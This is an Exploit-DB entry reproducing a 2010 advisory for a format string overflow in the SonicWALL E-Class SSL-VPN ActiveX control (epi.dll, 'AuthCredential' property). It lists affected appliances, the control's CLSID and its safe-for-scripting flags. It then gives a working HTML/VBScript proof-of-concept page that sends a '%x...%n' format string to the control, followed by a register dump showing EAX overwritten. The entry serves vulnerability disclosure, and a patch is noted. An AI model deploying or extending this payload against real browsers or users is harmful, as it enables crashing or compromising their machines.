Exploit-DB #14687
Description: SonicWALL E-Class SSL-VPN - ActiveX Control Format String Overflow
Type: dos
Platform: windows
Date: 2010-08-19
Author: Nikolas Sotiriu

Exploit:
-------------------------- NSOADV-2010-005 ---------------------------

   SonicWALL E-Class SSL-VPN ActiveX Control format string overflow
______________________________________________________________________
______________________________________________________________________

                               111101111
                        11111 00[PII_REDACTED]1111
                   111111 01 01 [PII_REDACTED]1111
                11111  0 11 01 0 11 1 1  111011001
            [PII_REDACTED]1 1 11 0110111  1   [PII_REDACTED]
           1001  0 1 10 11 0 10 11 1111111  1 111 111001
         111111111 0 10 1111 0 11 11 111111111 1 1101 10
        00111 0 0 11 00 0 1110 [PII_REDACTED][PII_REDACTED] 11  100
       10111111 0 01 0  1 1 111110 1[PII_REDACTED]111 [PII_REDACTED]1
      [PII_REDACTED] 0110 1110 1 0[PII_REDACTED][PII_REDACTED] 11100  00
       01111 0 10 1110 1 011111 [PII_REDACTED][PII_REDACTED]101 01
       01110 0 10 111110 110 0[PII_REDACTED][PII_REDACTED]01111101
      111111 11 0 1111 0 1 1 1 [PII_REDACTED][PII_REDACTED]101 111
      111110110 10 0111110 1 0 0[PII_REDACTED][PII_REDACTED]1111 110
    111 11111 1  1 111 1   10[PII_REDACTED][PII_REDACTED]111 0   1100
   111 10 [PII_REDACTED]10010  [PII_REDACTED][PII_REDACTED]11 11 0011100
   11 10     001100     0001     [PII_REDACTED]11111111 10 11 11110
  11110       00100      00001     10 1  1111  10[PII_REDACTED]1111
  11101        0  1011     10000    00100 11100        00001101 0
  0110         111011011             0110   10001        101 11110
  1011                 1             10 101   000001        01   00
   1010 1                              11001      1 1        101  10
      110101011                          0 101                 11110
            110000011
                      111
______________________________________________________________________
______________________________________________________________________

  Title:                  SonicWALL E-Class SSL-VPN ActiveX Control
                          format string overflow
  Severity:               High
  Advisory ID:            NSOADV-2010-005
  Found Date:             22.02.2010
  Date Reported:          09.06.2010
  Release Date:           19.08.2010
  Author:                 Nikolas Sotiriu
  Website:                http://sotiriu.de
  Twitter:                http://twitter.com/nsoresearch
  Mail:                   nso-research at sotiriu.de
  URL:                    http://sotiriu.de/adv/NSOADV-2009-005.txt
  Vendor:                 SonicWALL (http://www.sonicwall.com/)
  Affected Products:      SonicWALL SRA EX1600
                          SonicWALL EX7000
                          SonicWALL EX6000
                          SonicWALL EX-1600
                          SonicWALL EX-1500
                          SonicWALL EX-750
  Affected Versions:      10.0.4 and all previous versions
                          10.5.1 without hotfix
  Remote Exploitable:     Yes
  Local Exploitable:      No
  Patch Status:           Vendor released a patch
  Discovered by:          Nikolas Sotiriu
  Disclosure Policy:      http://sotiriu.de/policy.html
  Thanks to:              Thierry Zoller: For the permission to use his
                                          Policy



Background:
===========

SonicWALL has added the award-winning Aventail SSL VPN  product line to
our E-Class SRA appliances. Aventail's best-of-breed SSL VPNs deliver
secure remote access to the most resources from the most end point
locations. Aventail was named in the Visionaries Quadrant in the SSL
VPN Magic Quadrant Report from Gartner, considered to be the leading
analyst firm covering the SSL VPN industry.

(Product description from Website)



Description:
============

Remote exploitation of a format string overflow vulnerability in the
End-Point Interrogator/Installer ActiveX Control could allow an attacker
to execute arbitrary code within the security context of the targeted
user.

The affected function is "AuthCredential". The functions
"ConfigurationString" seems to be also vulnerable, but the format
string has to be base64 decoded.

Name:             End-Point Interrogator/Installer Module
Vendor:           Aventail Corporation
Type:             ActiveX-Control
Version:          10.3.42
Prog ID:          EPILib.EPInterrogator
GUID:             {2A1BE1E7-C550-4D67-A553-7F2D3A39233D}
File:             epi.dll
Folder:           %userprofile%\Application Data\Aventail\epi
Safe for Script:  True
Safe for Init:    True



Proof of Concept :
==================

<html>
 <head>
  <title>SonicWALL E-Class SSL-VPN ActiveX Control DoS PoC</title>
 </head>
<body>
<pre>
<img src="http://sotiriu.de/images/logo_wh_80.png";>

<input type=button name="Submit" VALUE="Rule #5 – Shoot First">


</pre>

<object classid='clsid:2A1BE1E7-C550-4D67-A553-7F2D3A39233D'
id='obj'></object>

<script language='vbscript'>

Sub Submit_OnClick
        eax=String(2, unescape("%u6161"))
        arg="%1862x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n"
        'EAX 61616161

        buf=eax+arg

        obj.AuthCredential = buf
End Sub

</script>
</body>
</html>



Notes:
======

The Exploit overwrites the EAX register with 0x61616161.

EAX 61616161
ECX 000007F2
EDX 00000000
EBX FFFF006E
ESP 01929AE4
EBP 01929F54
ESI 00000020
EDI 00000002
EIP 77C1391B msvcrt.77C1391B
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFD8000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty +UNORM 1C68 00000000 E162AA10
ST1 empty 7[PII_REDACTED]318302720e-1715
ST2 empty +UNORM 001C 7779065D E19F4F1C
ST3 empty 3[PII_REDACTED]284428800e+1178
ST4 empty 0[PII_REDACTED]840901890e-4933
ST5 empty -??? FFFF [PII_REDACTED]
ST6 empty 6[PII_REDACTED]671188480e-4932
ST7 empty [PII_REDACTED]0